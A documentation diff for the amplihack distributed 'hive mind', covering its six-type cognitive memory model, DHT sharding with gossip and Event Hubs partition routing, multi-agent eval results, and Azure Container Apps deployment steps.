+ backend: cognitive + topology: distributed + storage_path: /data/memory + kuzu_buffer_pool_mb: 256 + replication_factor: 3 + query_fanout: 5 + gossip_enabled: true + gossip_rounds: 3 + shard_backend: memory # "memory" (default) or "kuzu" +``` + +Or via env vars for containers: + +``` +AMPLIHACK_MEMORY_BACKEND=cognitive +AMPLIHACK_MEMORY_TOPOLOGY=distributed +AMPLIHACK_MEMORY_REPLICATION=3 +AMPLIHACK_MEMORY_SHARD_BACKEND=kuzu +``` + +**Shard backend guidance:** +- `shard_backend: memory` (default) — DHT shards are held in-memory dicts. Fast, zero dependencies, but data is lost on restart. Use for development, testing, and short-lived multi-agent sessions. +- `shard_backend: kuzu` — DHT shards are persisted to Kuzu databases under `{storage_path}/shards/{agent_id}/`. Survives restarts and supports larger datasets. Use for production distributed deployments where cross-agent facts must persist across process boundaries. + +## Cognitive Memory Model + +CognitiveMemory is the storage backend — it's what sits behind `Memory.remember()` and `Memory.recall()` when `backend=cognitive`. It implements six distinct memory types modeled on human cognitive architecture, all backed by a single Kuzu graph database per agent. + +```mermaid +graph TD + subgraph "CognitiveMemory (per agent, one Kuzu DB)" + sensory["SENSORY
Raw input buffer
TTL: seconds
Auto-expires"] + working["WORKING
Active task context
20 bounded slots
Current focus"] + episodic["EPISODIC
Events & episodes
Timestamped sequences
Consolidates over time"] + semantic["SEMANTIC
Facts & knowledge
Confidence-scored
Similarity edges"] + procedural["PROCEDURAL
Step sequences
Usage-tracked
How-to knowledge"] + prospective["PROSPECTIVE
Future intentions
Trigger conditions
Reminders & plans"] + end + + input["Input via remember()"] --> sensory + sensory -->|"promote (attention)"| working + working -->|"encode (significant)"| episodic + episodic -->|"consolidate (repeated)"| semantic + semantic -->|"extract (procedures)"| procedural + working -->|"plan"| prospective + + recall["recall() query"] --> semantic + recall --> episodic + recall --> procedural +``` + +### Memory Types + +**Sensory** — raw input buffering. When the agent observes content during OBSERVE, it enters sensory memory first. Most sensory items expire (TTL-based). Only items the agent "attends to" (referenced during ORIENT) promote to working memory. + +**Working** — bounded active context. 20 slots maximum. The agent's scratchpad during a single OODA iteration. Holds the current question, recalled facts from ORIENT, the reasoning trace from DECIDE. Cleared between iterations. + +**Episodic** — timestamped event records. When `learn_from_content()` processes a turn, the raw content is stored as an episode with temporal metadata. Episodes consolidate over time — repeated similar episodes strengthen the corresponding semantic facts. + +**Semantic** — the primary knowledge store. Facts with confidence scores (0.0-1.0) and similarity edges between related facts. This is what `recall()` searches. Facts stored via `remember()` during ACT go here. Confidence decays with a configurable rate, so stale facts naturally lose priority. + +**Procedural** — step-by-step procedures. "To rotate API keys: 1) generate new key, 2) update vault, 3) revoke old key" — stored with usage tracking. Frequently used procedures have higher retrieval priority. + +**Prospective** — future intentions with trigger conditions. "If CVE-2024-1234 patch is released, update prod-app-01" — stored with a trigger that fires when the condition is observed during a future OBSERVE phase. + +### Kuzu Graph Structure + +Inside each agent's Kuzu DB: + +``` +Nodes: + SensoryMemory (content, timestamp, ttl, observation_order) + WorkingMemory (slot_key, content, priority, timestamp) + EpisodicMemory (event_description, emotions, context, temporal_index, consolidated) + SemanticMemory (concept, content, confidence, source, timestamp) + ProceduralMemory (procedure_name, steps_json, usage_count, last_used) + ProspectiveMemory(intention, trigger_condition, deadline, status) + +Relationships: + SIMILAR_TO (SemanticMemory → SemanticMemory, weight: 0.0-1.0) + DERIVED_FROM (SemanticMemory → EpisodicMemory) + CONSOLIDATES (SemanticMemory → EpisodicMemory) + TRIGGERS (ProspectiveMemory → SemanticMemory) +``` + +## Distributed Hive Graph (DHT) + +When topology is `distributed`, all agents register on a single consistent hash ring. + +### Fact Storage + +When an agent calls `remember()`, the fact is stored locally in the agent's Kuzu DB AND promoted to the DHT. The DHT hashes the fact content to a ring position and stores it on the R=3 nearest agents. Each agent holds ~F/N facts in its shard, not all F. + +### Query Routing (Semantic) + +When an agent calls `recall()`: +1. Embed the question using BAAI/bge-base-en-v1.5 +2. Compute cosine similarity between question embedding and each shard's summary embedding (running average of all stored fact embeddings) +3. Route to the top K=5 shards by similarity +4. Search those shards with keyword matching +5. Merge and deduplicate with local results + +Falls back to keyword-based DHT routing if embeddings are unavailable. + +### Gossip Protocol + +Agents periodically exchange bloom filter summaries of their shard contents. Each bloom filter is ~1KB for 1000 facts at 1% false positive rate. Missing facts are pulled from peers. Convergence is O(log N) rounds. + +**Gossip exchanges full graph nodes** (not flat string facts), preserving all metadata: confidence scores, timestamps, embeddings, and relationship edges. When a new agent joins the ring, a full shard rebuild is triggered — existing agents redistribute facts to cover the new ring position. + +### Replication & Fault Tolerance + +Every fact exists on R=3 agents. If an agent leaves, orphaned facts are automatically redistributed to the next agents on the ring. + +``` +Hash Ring (100 agents, 64 virtual nodes each = 6400 ring positions): + + Agent 0 Agent 23 Agent 7 Agent 45 Agent 91 ... + ↓ ↓ ↓ ↓ ↓ + ┌────┐ ┌────┐ ┌────┐ ┌────┐ ┌────┐ + │~50 │ │~48 │ │~52 │ │~50 │ │~49 │ facts per shard + └────┘ └────┘ └────┘ └────┘ └────┘ +``` + +## How Local and Distributed Connect + +```mermaid +sequenceDiagram + participant A as Agent + participant CA as CognitiveAdapter + participant CM as CognitiveMemory (local Kuzu) + participant DHT as DistributedHiveGraph (shared) + + Note over A: remember("prod-db-01 runs PostgreSQL") + A->>CA: store_fact() + CA->>CM: store as SemanticMemory node
confidence=0.9, concept="infrastructure" + CA->>DHT: promote_fact() + DHT->>DHT: hash → replicate to R=3 shard owners + + Note over A: recall("What database does prod-db-01 run?") + A->>CA: search() + CA->>CM: search local semantic facts
(concept + keyword + similarity edges) + CA->>DHT: query_facts() via semantic routing
(embed → cosine sim → top K shards) + CA->>CA: merge + deduplicate local + distributed results + CA->>A: combined facts +``` + +An agent's **local CognitiveMemory** contains facts it learned directly. The **DHT** contains facts from ALL agents, sharded. When recalling, both are searched and results merged. So agent_42 (who only learned 50 turns) can access facts from agent_7's turns via the DHT. + +## The Two Layers + +| Aspect | CognitiveMemory (local) | DistributedHiveGraph (shared) | +|--------|------------------------|-------------------------------| +| Scope | One agent's knowledge | All agents' knowledge | +| Storage | Kuzu graph DB (256MB) | In-memory dicts (default) or Kuzu shards (shard_backend=kuzu) | +| Structure | 6 typed memory types + relationships | Flat facts with tags + embeddings | +| Search | Concept + keyword + similarity graph traversal | Semantic embed → cosine sim → shard lookup | +| Persistence | Disk (Kuzu files) | In-memory (lost on restart) or disk with shard_backend=kuzu | +| Purpose | Deep personal knowledge with reasoning structure | Fast cross-agent fact sharing and routing | + +## Eval Harness + +The eval tests the production agent — same code, same OODA loop, same Memory facade. + +**Single condition**: 1 agent with `Memory("agent", topology="single")`. Learns all 5000 turns. Answers 100 questions × 3 repeats. Reports median. **Result: 94.1% (21.7h).** + +**Federated smoke (10 agents)**: 10 agents with `Memory("agent_N", topology="distributed", shared_hive=hive)`. Turns distributed round-robin. Q&A with semantic routing × 3 repeats. **Result: 65.7% median, 6.7% stddev.** Best multi-agent result. + +**Federated full (100 agents)**: 100 agents, same config. Learning parallelized (10 workers, 9x speedup: 21.6h → 2.4h). Gossip rounds after learning. Q&A with semantic expertise routing + consensus voting × 3 repeats. **Result: 45.8% median, 21.7% stddev.** Routing precision degrades at this scale. + +**Azure deployment context:** Production eval runs on 20 Container Apps (`amplihive-app-0`…`amplihive-app-19`) in `westus2` / `hive-mind-rg`, each hosting 5 agents (`agent-0`…`agent-99`). Transport: `azure_service_bus` via namespace `hive-sb-dj2qo2w7vu5zi`, topic `hive-graph`, 100 subscriptions. Memory backend: `cognitive` (Kuzu) on ephemeral volumes — POSIX file locks are supported, identical to local development. + +Scoring: LLM grader (multi-vote median) scores 0.0-1.0 across 12 cognitive levels (L1 direct recall through L12 far transfer). + +## File Map + +``` +amplihack/ +├── memory/ +│ ├── facade.py # Memory — remember()/recall() +│ └── config.py # MemoryConfig — env/yaml/kwargs +├── agents/goal_seeking/ +│ ├── agentic_loop.py # AgenticLoop — OODA cycle +│ ├── learning_agent.py # learn_from_content/answer_question via OODA +│ ├── cognitive_adapter.py # Wraps CognitiveMemory + hive integration +│ └── hive_mind/ +│ ├── dht.py # HashRing, ShardStore, DHTRouter +│ ├── bloom.py # BloomFilter for gossip +│ ├── distributed_hive_graph.py # DistributedHiveGraph +│ ├── embeddings.py # BAAI/bge-base-en-v1.5 +│ ├── gossip.py # Gossip protocol +│ ├── reranker.py # RRF merge, hybrid scoring +│ ├── crdt.py # GSet, ORSet, LWWRegister +│ └── event_bus.py # Local/Redis/Azure transport + +amplihack-agent-eval/ +├── src/amplihack_eval/ +│ ├── cli.py # amplihack-eval command +│ ├── core/ +│ │ ├── continuous_eval.py # single/federated comparison +│ │ ├── runner.py # EvalRunner +│ │ └── grader.py # LLM grading +│ └── data/ +│ └── security_analyst_scenario.py # 5000-turn dialogue + L1-L12 questions + +amplihack-memory-lib/ +└── src/amplihack_memory/ + └── cognitive_memory.py # 6-type Kuzu-backed memory +``` + +--- + +## NetworkGraphStore — Network-Replicated GraphStore + +`NetworkGraphStore` (added in `feat/distributed-hive-mind`) is a drop-in `GraphStore` +that wraps any local store and replicates writes and searches over a network transport. + +### How it works + +``` +Agent A Agent B +──────────────────── ──────────────────── +NetworkGraphStore NetworkGraphStore + └── InMemoryGraphStore └── InMemoryGraphStore + ▲ write locally ▲ apply remote write + │ │ + └──── event_bus.publish ────────────► └── _process_incoming thread + └── responds to search queries +``` + +1. **`create_node`** — stores locally, then publishes `network_graph.create_node` event. +2. **`search_nodes`** — searches locally, publishes `network_graph.search_query`, waits + up to `search_timeout` seconds for remote responses, returns merged/deduplicated results. +3. **`_process_incoming`** — background thread polls the event bus and applies remote + `create_node` / `create_edge` events to the local store, and responds to + `search_query` events with local results. + +### GraphStore Backends + +The `GraphStore` protocol has four implementations: + +| Backend | Use Case | Persistence | Transport | +|---------|----------|-------------|-----------| +| `KuzuGraphStore` | Single agent, local dev | Disk (Kuzu DB) | None | +| `InMemoryGraphStore` | Testing, containers | RAM only | None | +| `DistributedGraphStore` | Multi-agent, single process | RAM (DHT shards) | In-process | +| `NetworkGraphStore` | Multi-machine, production | Local store + Service Bus events | azure_service_bus / redis / local | + +`NetworkGraphStore` wraps any local store (typically `InMemoryGraphStore` in containers) and replicates writes/searches over the configured transport. In Azure Container Apps, each agent uses `InMemoryGraphStore` locally, with `azure_service_bus` for cross-container sync. + +### Configuration + +```python +from amplihack.memory.network_store import NetworkGraphStore +from amplihack.memory.memory_store import InMemoryGraphStore + +store = NetworkGraphStore( + agent_id="agent_0", + local_store=InMemoryGraphStore(), + transport="azure_service_bus", # "local" | "redis" | "azure_service_bus" + connection_string="Endpoint=sb://...", + topic_name="hive-graph", # optional, default: "hive-graph" + search_timeout=3.0, # seconds to wait for remote responses +) +``` + +Or via `Memory` facade using env vars: + +```bash +export AMPLIHACK_MEMORY_TRANSPORT=azure_service_bus +export AMPLIHACK_MEMORY_CONNECTION_STRING="Endpoint=sb://..." +``` + +```python +mem = Memory("agent_0") # auto-wraps with NetworkGraphStore +``` + +### Environment variables + +| Variable | Description | Default | +|---|---|---| +| `AMPLIHACK_MEMORY_TRANSPORT` | Transport: `local`, `redis`, `azure_service_bus` | `local` | +| `AMPLIHACK_MEMORY_CONNECTION_STRING` | Service Bus connection string or Redis URL | `""` | diff --git a/docs/distributed_hive_mind.md b/docs/distributed_hive_mind.md new file mode 100644 index 000000000..31c191098 --- /dev/null +++ b/docs/distributed_hive_mind.md @@ -0,0 +1,673 @@ +# Distributed Hive Mind Architecture + +## Overview + +The distributed hive mind replaces the centralized `InMemoryHiveGraph` for deployments with 20+ agents. Instead of every agent holding all facts in memory, facts are partitioned across agents via consistent hashing (DHT). Queries route to the relevant shard owners instead of scanning all agents. + +## Architecture + +```mermaid +graph TB + subgraph "Distributed Hash Ring (pure DHT, O(F/N) per agent)" + direction LR + R["Hash Ring
Facts hashed to positions
Agents own keyspace ranges"] + end + + subgraph "Agent Shards" + A0["Agent 0
Shard: ~F/N facts
Kuzu DB (256MB)"] + A1["Agent 1
Shard: ~F/N facts
Kuzu DB (256MB)"] + A2["Agent 2
Shard: ~F/N facts
Kuzu DB (256MB)"] + AN["Agent N
Shard: ~F/N facts
Kuzu DB (256MB)"] + end + + subgraph "Shard Transport (Event Hubs)" + EH["Azure Event Hubs
Explicit partition_id routing
Per-app consumer groups
(cg-app-N, 20 groups)"] + end + + subgraph "Gossip Layer" + G["Bloom Filter Exchange
O(log N) convergence
Pull missing facts from peers"] + end + + R --> A0 + R --> A1 + R --> A2 + R --> AN + A0 <-.->|SHARD_QUERY / SHARD_RESPONSE| EH + A1 <-.->|SHARD_QUERY / SHARD_RESPONSE| EH + A2 <-.->|SHARD_QUERY / SHARD_RESPONSE| EH + AN <-.->|SHARD_QUERY / SHARD_RESPONSE| EH + A0 <-.->|gossip| A1 + A1 <-.->|gossip| A2 + A2 <-.->|gossip| AN + + style R fill:#f9f,stroke:#333 + style G fill:#ff9,stroke:#333 + style EH fill:#9cf,stroke:#333 +``` + +### Shard Transport: Event Hubs (as of 2026-03-13) + +Cross-shard queries travel over **Azure Event Hubs** via `EventHubsShardTransport` (replacing the former Service Bus shard topic). Key design points: + +| Aspect | Detail | +| ------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| Routing | **Explicit `partition_id` routing**: `SHARD_QUERY` sent to `partition_id = target_index % num_partitions`; `SHARD_RESPONSE` sent to `partition_id = requester_index % num_partitions`. This is critical — `partition_key` routing causes silent event loss when multiple agents share a consumer group (see "Partition Routing" below). | +| Isolation | Per-app consumer groups: `cg-app-{N}` (not per-agent). Each agent reads from its deterministic partition within the shared group. | +| Correlation | `correlation_id + threading.Event` — querying agent blocks in `query_shard()` until the response event fires or timeout expires | +| Local bypass | Queries to own shard bypass the network entirely (no EH round-trip) | +| Retrieval | `handle_shard_query()` calls `agent.memory.search()` via `CognitiveAdapter` (n-gram overlap, reranking, semantic matching), falling back to raw `ShardStore.search()` when no agent instance is available | + +### Partition Routing (critical for multi-agent-per-app) + +When multiple agents share a consumer group (e.g., 5 agents in `cg-app-0`), the Event Hubs load balancer distributes 32 partitions among the 5 consumers. Each agent only sees events on its owned partitions (~6 of 32). Events on unowned partitions are **silently dropped**. + +**Fix**: Each agent reads from exactly one partition: `partition_id = agent_index % num_partitions`. Publishers send to the target agent's partition explicitly. This eliminates load-balancer competition entirely. + +``` +Agent-0 (app-0, cg-app-0) → reads partition 0 +Agent-1 (app-0, cg-app-0) → reads partition 1 +Agent-5 (app-1, cg-app-1) → reads partition 5 +Agent-32 (app-6, cg-app-6) → reads partition 0 (32 % 32 = 0, different CG from agent-0) +``` + +> **WARNING**: Never revert to `partition_key` routing. It causes 80%+ event loss at scale and reduces eval scores from 99% to 18%. + +### Pure DHT sharding (no broadcast replication) + +`promote_fact()` routes each fact to exactly the primary shard owner(s) determined by the DHT ring. The `SHARD_STORE` broadcast-to-all-agents loop (introduced in commit `e2da57e9`) was reverted — every agent holds only `O(F/N)` facts, not a full copy. Cross-shard retrieval is handled by the agentic search path described above. + +## Query Flow + +```mermaid +sequenceDiagram + participant Q as Question + participant DHT as DHT Router + participant S1 as Shard Owner 1 + participant S2 as Shard Owner 2 + participant S3 as Shard Owner 3 + participant M as Merge (RRF) + + Q->>DHT: "What is Sarah Chen's birthday?" + DHT->>DHT: Hash key terms → ring positions + DHT->>S1: query shard (3 facts found) + DHT->>S2: query shard (1 fact found) + DHT->>S3: query shard (0 facts) + S1-->>M: facts with scores + S2-->>M: facts with scores + M->>Q: Merged results (top K) +``` + +## Learning Flow + +```mermaid +sequenceDiagram + participant A as Agent 42 + participant LLM as LLM (extract facts) + participant DHT as DHT Router + participant EH as Event Hubs + participant S as Shard Owner (Agent 7) + + A->>LLM: learn_from_content("Sarah Chen birthday March 15") + LLM-->>A: extracted facts + A->>A: Store in local Kuzu DB + A->>DHT: promote_fact(fact) + DHT->>DHT: Hash("sarah chen birthday") → ring position → Agent 7 + DHT->>EH: SHARD_STORE (partition_key=agent-7) + EH->>S: deliver SHARD_STORE event + S->>S: store in local shard only (O(F/N)) +``` + +> **Note:** Facts are stored on the primary shard owner only (pure DHT). There is no broadcast replication to all agents. + +## Federation + +```mermaid +graph TB + Root["Root Hive
(aggregates high-confidence facts)"] + G0["Group 0
5 agents, own DHT"] + G1["Group 1
5 agents, own DHT"] + G2["Group 2
5 agents, own DHT"] + GN["Group N
5 agents, own DHT"] + + Root --- G0 + Root --- G1 + Root --- G2 + Root --- GN + + G0 -.->|"escalate
confidence ≥ 0.9"| Root + Root -.->|"broadcast"| G1 + Root -.->|"query_federated"| G2 + + style Root fill:#f96,stroke:#333 +``` + +Facts with confidence >= 0.9 escalate from group hives to the root. Federated queries traverse the tree, collecting results from all groups and merging via RRF. + +## When to Use Which + +| Scenario | Implementation | Reason | +| --------------- | ---------------------- | ------------------------------ | +| < 20 agents | `InMemoryHiveGraph` | Simple, all facts in one dict | +| 20-1000 agents | `DistributedHiveGraph` | DHT sharding, O(F/N) per agent | +| Testing/dev | `InMemoryHiveGraph` | No setup overhead | +| Production eval | `DistributedHiveGraph` | Avoids Kuzu mmap OOM | + +## Components + +### HashRing (`dht.py`) + +Consistent hash ring with 64 virtual nodes per agent. Maps fact content to ring positions. Supports dynamic agent join/leave with automatic fact redistribution. + +```python +ring = HashRing(replication_factor=3) +ring.add_agent("agent_0") +owners = ring.get_agents("sarah chen birthday") # Returns 3 agents +``` + +### ShardStore (`dht.py`) + +Lightweight per-agent fact storage. Each agent holds only its shard — facts assigned by the hash ring. Content-hash deduplication prevents duplicates. + +### DHTRouter (`dht.py`) + +Coordinates between HashRing and ShardStores. Routes facts to shard owners during learning, routes queries to relevant shards during Q&A. + +### BloomFilter (`bloom.py`) + +Space-efficient probabilistic set membership. Each agent maintains a bloom filter of its fact IDs. During gossip, agents exchange bloom filters and pull missing facts. 1KB for 1000 facts at 1% false positive rate. + +**Important:** Gossip exchanges full graph nodes (not flat string facts), preserving all metadata (confidence, timestamps, embeddings). When a new agent joins, a full shard rebuild is triggered to redistribute facts from existing agents to the new ring position. + +### DistributedHiveGraph (`distributed_hive_graph.py`) + +Drop-in replacement for `InMemoryHiveGraph`. Implements the `HiveGraph` protocol using DHT sharding internally. Supports federation, gossip, and all existing hive operations. + +### EventHubsShardTransport (`distributed_hive_graph.py`) + +Implements the `ShardTransport` Protocol for cloud deployments. Uses `azure-eventhub` with **explicit partition_id routing**: + +- `SHARD_QUERY` → `partition_id = target_index % num_partitions` (deterministic routing to target agent's partition) +- `SHARD_RESPONSE` → `partition_id = requester_index % num_partitions` (routes response back to querier's partition) +- Per-app consumer groups (`cg-app-{N}`) — each agent reads from its deterministic partition within the shared group +- `correlation_id + threading.Event` for synchronous `query_shard()` semantics +- `handle_shard_query()` calls `agent.memory.search()` (CognitiveAdapter: n-gram, reranking, semantic) when an agent instance is bound; falls back to raw `ShardStore.search()` + +```python +# Activated automatically when env vars are set (agent_entrypoint.py) +transport = EventHubsShardTransport( + connection_string=os.environ["AMPLIHACK_EH_CONNECTION_STRING"], + eventhub_name=os.environ["AMPLIHACK_EH_NAME"], + agent_id="agent-3", + consumer_group="cg-app-0", # per-app, NOT per-agent +) +``` + +For **local / unit tests**, use `LocalEventBus` (in-process) — no Azure credentials required. + +### ServiceBusShardTransport (`distributed_hive_graph.py`) + +**Retained for backward compatibility** and for the main `hive-events` / `hive-graph` gossip topic. Not used for shard queries in new deployments. + +## Configuration + +| Constant | Default | Purpose | +| ---------------------------- | ------- | ---------------------------------- | +| `DEFAULT_REPLICATION_FACTOR` | 3 | Copies per fact across agents | +| `DEFAULT_QUERY_FANOUT` | 5 | Max agents queried per request | +| `KUZU_BUFFER_POOL_SIZE` | 256MB | Per-agent Kuzu memory limit | +| `KUZU_MAX_DB_SIZE` | 1GB | Per-agent Kuzu max size | +| `VIRTUAL_NODES_PER_AGENT` | 64 | Hash ring distribution granularity | + +## Kuzu Buffer Pool Fix + +Kuzu defaults to ~80% of system RAM per database and 8TB mmap address space. With 100 agents, this causes: + +``` +RuntimeError: Buffer manager exception: Mmap for size 8796093022208 failed. +``` + +The fix: `CognitiveAdapter` monkey-patches `kuzu.Database.__init__` to bound each DB to 256MB buffer pool and 1GB max size. The proper fix (in `amplihack-memory-lib` PR #11, merged) adds `buffer_pool_size` and `max_db_size` parameters to `CognitiveMemory.__init__`. + +## Performance + +| Metric | InMemoryHiveGraph | DistributedHiveGraph | +| ------------------ | ----------------- | -------------------- | +| 100-agent creation | OOM crash | 12.3s, 4.8GB RSS | +| Memory per agent | O(F) all facts | O(F/N) shard only | +| Query fan-out | O(N) all agents | O(K) relevant agents | +| Gossip convergence | N/A | O(log N) rounds | + +## Eval Results + +### Latest: 100 agents × 5000 turns — 99.29% (2026-03-13) + +| Config | Score | Notes | +|---|---|---| +| 100 agents, 5000 turns | **99.29%** | 50 turns/agent, 83 min learning, 20 questions | +| 100 agents, 1000 turns | **99.29%** | 10 turns/agent, same score | +| 5 agents, 100 turns | 96.92% | Pre-scaling baseline | + +**Category breakdown (100 agents, 5000 turns):** + +| Category | Score | +|---|---| +| needle_in_haystack (4q) | 100% | +| numerical_precision (3q) | 100% | +| temporal_evolution (3q) | 100% | +| cross_reference (2q) | 100% | +| infrastructure_knowledge (1q) | 100% | +| meta_memory (1q) | 100% | +| security_log_analysis (1q) | 100% | +| incident_tracking (1q) | 97.50% | +| distractor_resistance (2q) | 97.50% | +| source_attribution (2q) | 96.67% | + +### Historical progression + +| Milestone | Score | Key Fix | +|---|---|---| +| Initial deployment | 0% | Broken event delivery | +| CBS auth + stale events | 39% → 42% | EventHubsShardTransport replaces Service Bus | +| CognitiveAdapter retrieval | 71.54% | Cross-shard queries use full n-gram + reranking | +| Answer timeout | 96.92% | 120s → 240s timeout for 5-agent eval | +| 100-agent scaling | 18.42% | Consumer group partition competition | +| **Partition routing fix** | **99.29%** | Explicit partition_id = agent_index % num_partitions | + +### Previous federated results (superseded) + +| Condition | Model | Score | Notes | +| --------------------------- | ---------- | ----- | ------------------------------------- | +| Single agent | Sonnet 4.5 | 94.1% | Baseline, 5000 turns, 21.7h | +| Federated smoke (10 agents) | Sonnet 4.5 | 65.7% | Old routing, low variance | +| Federated full (100 agents) | Sonnet 4.5 | 45.8% | Old routing, degraded at scale | + +### Known Issues (resolved) + +1. ~~**Empty root hive**~~: Fixed — DHT routing with full fan-out in distributed mode. +2. ~~**Swallowed errors**~~: Fixed — proper error propagation. +3. ~~**Routing precision degradation**~~: Fixed — explicit partition_id routing (99.29% at 100 agents). +4. ~~**High variance**~~: Fixed — deterministic partition routing eliminates randomness. + +### Fixes applied (2026-03-13, PR #2876) + +- **Explicit partition_id routing**: Each agent reads from `partition_id = agent_index % num_partitions` and publishes to target's partition. Eliminates consumer group load-balancer competition. +- **Full fan-out in distributed mode**: DHT router fans out to ALL agents when local shards are empty (content distributed round-robin, not by DHT hash). +- **Per-app consumer groups**: `cg-app-{N}` instead of `cg-agent-{N}` (EH Standard max 20 groups). +- **Tiered container resources**: ≤5/app: 0.75 CPU / 1.5Gi; ≤8: 0.5 CPU / 1Gi; >8: 0.25 CPU / 0.5Gi. +- **CognitiveAdapter cross-shard retrieval**: `handle_shard_query()` uses full n-gram + semantic search. +- **EventHubsShardTransport**: persistent producer, inline SHARD_RESPONSE handling, no Service Bus dependency. + +## Related + +- PR #2876: Full distributed hive implementation with 100-agent scaling (amplihack, 2026-03-13) +- PR #34: Distributed eval framework (amplihack-agent-eval) +- Issue #3034: Tracking issue — resolved at 99.29% +- Issue #2866: Original 5000-turn eval spec + +--- + +## Deploying the Distributed Hive Mind + +This section covers deploying a hive of agents locally and to Azure Container Apps. + +### Prerequisites + +- Python 3.11+, `amplihack` installed +- For Azure: `az` CLI authenticated, `docker` running, `ANTHROPIC_API_KEY` set +- For Redis transport: Redis server accessible +- For Azure Service Bus: Azure subscription with Service Bus Standard tier + +--- + +### Local deployment (subprocess-based) + +Use the `amplihack-hive` CLI to manage hives locally. + +**1. Create a hive config:** + +```bash +amplihack-hive create \ + --name my-hive \ + --agents 5 \ + --transport local +``` + +Creates `~/.amplihack/hives/my-hive/config.yaml`: + +```yaml +name: my-hive +transport: local +connection_string: "" +storage_path: /data/hive/my-hive +shard_backend: memory +agents: + - name: agent_0 + prompt: "You are agent 0 in the my-hive hive." + - name: agent_1 + prompt: "You are agent 1 in the my-hive hive." + # ... +``` + +**2. Customize agent prompts:** + +```bash +amplihack-hive add-agent \ + --hive my-hive \ + --agent-name security-analyst \ + --prompt "You are a cybersecurity analyst specializing in threat detection." + +amplihack-hive add-agent \ + --hive my-hive \ + --agent-name network-engineer \ + --prompt "You are a network engineer focused on infrastructure reliability." \ + --kuzu-db /path/to/existing.db # optional: mount existing Kuzu DB +``` + +**3. Start the hive:** + +```bash +amplihack-hive start --hive my-hive --target local +``` + +Each agent runs as a Python subprocess with `AMPLIHACK_MEMORY_TRANSPORT=local`. + +**4. Check status:** + +```bash +amplihack-hive status --hive my-hive +``` + +Output: + +``` +Hive: my-hive +Transport: local +Agents: 5 + +Agent Status PID Facts +------------------------------------------------------- +agent_0 running 12345 ? +security-analyst running 12346 ? +network-engineer stopped - - +``` + +**5. Stop all agents:** + +```bash +amplihack-hive stop --hive my-hive +``` + +--- + +### Azure Service Bus transport (multi-machine) + +For production deployments where agents run on separate machines (local VMs, Docker, Azure), +use `azure_service_bus` or `redis` transport. + +**Create hive with Service Bus:** + +```bash +amplihack-hive create \ + --name prod-hive \ + --agents 20 \ + --transport azure_service_bus \ + --connection-string "Endpoint=sb://mynamespace.servicebus.windows.net/;SharedAccessKeyName=..." \ + --shard-backend kuzu +``` + +Each agent will then: + +- Store facts locally in Kuzu +- Publish `create_node` events to the Service Bus topic `hive-graph` +- Receive and apply remote facts from other agents via background thread +- Respond to distributed search queries with local results + +--- + +### Azure Container Apps deployment + +For cloud-scale deployments (100+ agents), use the `deploy/azure_hive/` scripts. + +**Infrastructure provisioned by `deploy/azure_hive/deploy.sh` / `main.bicep`:** + +| Resource | Purpose | +| -------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------- | +| Azure Container Registry (`hivacrhivemind.azurecr.io`) | Stores the amplihack agent Docker image | +| **Event Hubs Namespace** + Event Hub `hive-shards-{hiveName}` + consumer groups `cg-agent-N` | **Shard transport** — SHARD_QUERY / SHARD_RESPONSE routing | +| Service Bus Namespace (`hive-sb-dj2qo2w7vu5zi`) + Topic `hive-graph` + N subscriptions | Gossip / `NetworkGraphStore` event transport (retained) | +| Azure Storage Account (`hivesadj2qo2w7vu5zi`) + File Share | Provisioned for persistence; **not mounted for Kuzu** (POSIX lock limitation) | +| Container Apps Environment | Managed container runtime (westus2, hive-mind-rg) | +| N Container Apps (`amplihive-app-0`…`amplihive-app-N`) | Each app hosts up to 5 agent containers | + +**Deploy a 20-agent hive to Azure:** + +```bash +export ANTHROPIC_API_KEY="" +export HIVE_NAME="prod-hive" +export HIVE_AGENT_COUNT=20 +export HIVE_AGENTS_PER_APP=5 # 4 Container Apps total +export HIVE_TRANSPORT=azure_service_bus + +bash deploy/azure_hive/deploy.sh +``` + +This will: + +1. Create resource group `hive-mind-rg` in `westus2` +2. Build and push the Docker image to ACR (`hivacrhivemind.azurecr.io`) +3. Deploy Bicep template: Service Bus namespace `hive-sb-dj2qo2w7vu5zi`, Storage account `hivesadj2qo2w7vu5zi`, Container Apps Environment +4. Launch 4 Container Apps (`amplihive-app-0` through `amplihive-app-3`) with 5 agents each (20 total) + +> **Note:** Containers now use **ephemeral volumes** (`EmptyDir`) at `/data` so Kuzu can acquire POSIX advisory file locks. Azure Files (SMB) does not support POSIX file locks. Agents use the `cognitive` (Kuzu) backend identically in containers and local development. + +**Check deployment status:** + +```bash +bash deploy/azure_hive/deploy.sh --status +``` + +**Tear down:** + +```bash +bash deploy/azure_hive/deploy.sh --cleanup +``` + +**Environment variables for Container App agents:** + +Each container receives: + +| Variable | Value | +| ------------------------------------ | ------------------------------------------------------------ | +| `AMPLIHACK_AGENT_NAME` | `agent-N` (unique per container) | +| `AMPLIHACK_AGENT_PROMPT` | Agent role prompt | +| `AMPLIHACK_MEMORY_TRANSPORT` | `azure_service_bus` (for gossip/hive-graph) | +| `AMPLIHACK_MEMORY_CONNECTION_STRING` | Service Bus connection string (from Key Vault secret) | +| `AMPLIHACK_MEMORY_STORAGE_PATH` | `/data/agent-N` (on mounted Azure File Share) | +| `AMPLIHACK_EH_CONNECTION_STRING` | **Event Hubs** namespace connection string (shard transport) | +| `AMPLIHACK_EH_NAME` | Event Hub name (`hive-shards-{hiveName}`) | +| `ANTHROPIC_API_KEY` | From Container Apps secret | + +When `AMPLIHACK_EH_CONNECTION_STRING` and `AMPLIHACK_EH_NAME` are set, `agent_entrypoint.py` automatically selects `EventHubsShardTransport`; otherwise it falls back to `ServiceBusShardTransport`. + +**Dockerfile highlights:** + +```dockerfile +FROM python:3.11-slim +# installs amplihack + kuzu + sentence-transformers + azure-servicebus + azure-eventhub==5.11.7 +# non-root user: amplihack-agent +# VOLUME /data (Azure File Share mount) +# HEALTHCHECK via /tmp/.agent_ready sentinel +CMD ["python3", "/app/agent_entrypoint.py"] +``` + +**Scaling to 100 agents (production deployment):** + +```bash +export HIVE_AGENT_COUNT=100 +export HIVE_AGENTS_PER_APP=5 # 20 Container Apps: amplihive-app-0 through amplihive-app-19 +bash deploy/azure_hive/deploy.sh +``` + +Bicep automatically calculates `appCount = ceil(agentCount / agentsPerApp)` and creates the corresponding Container Apps with correct agent indices (`agent-0` through `agent-99`). + +**Actual Azure deployment (westus2, hive-mind-rg):** + +| Resource | Name | +| --------------------- | ------------------------------------------------------------------------ | +| Container Apps | `amplihive-app-0` 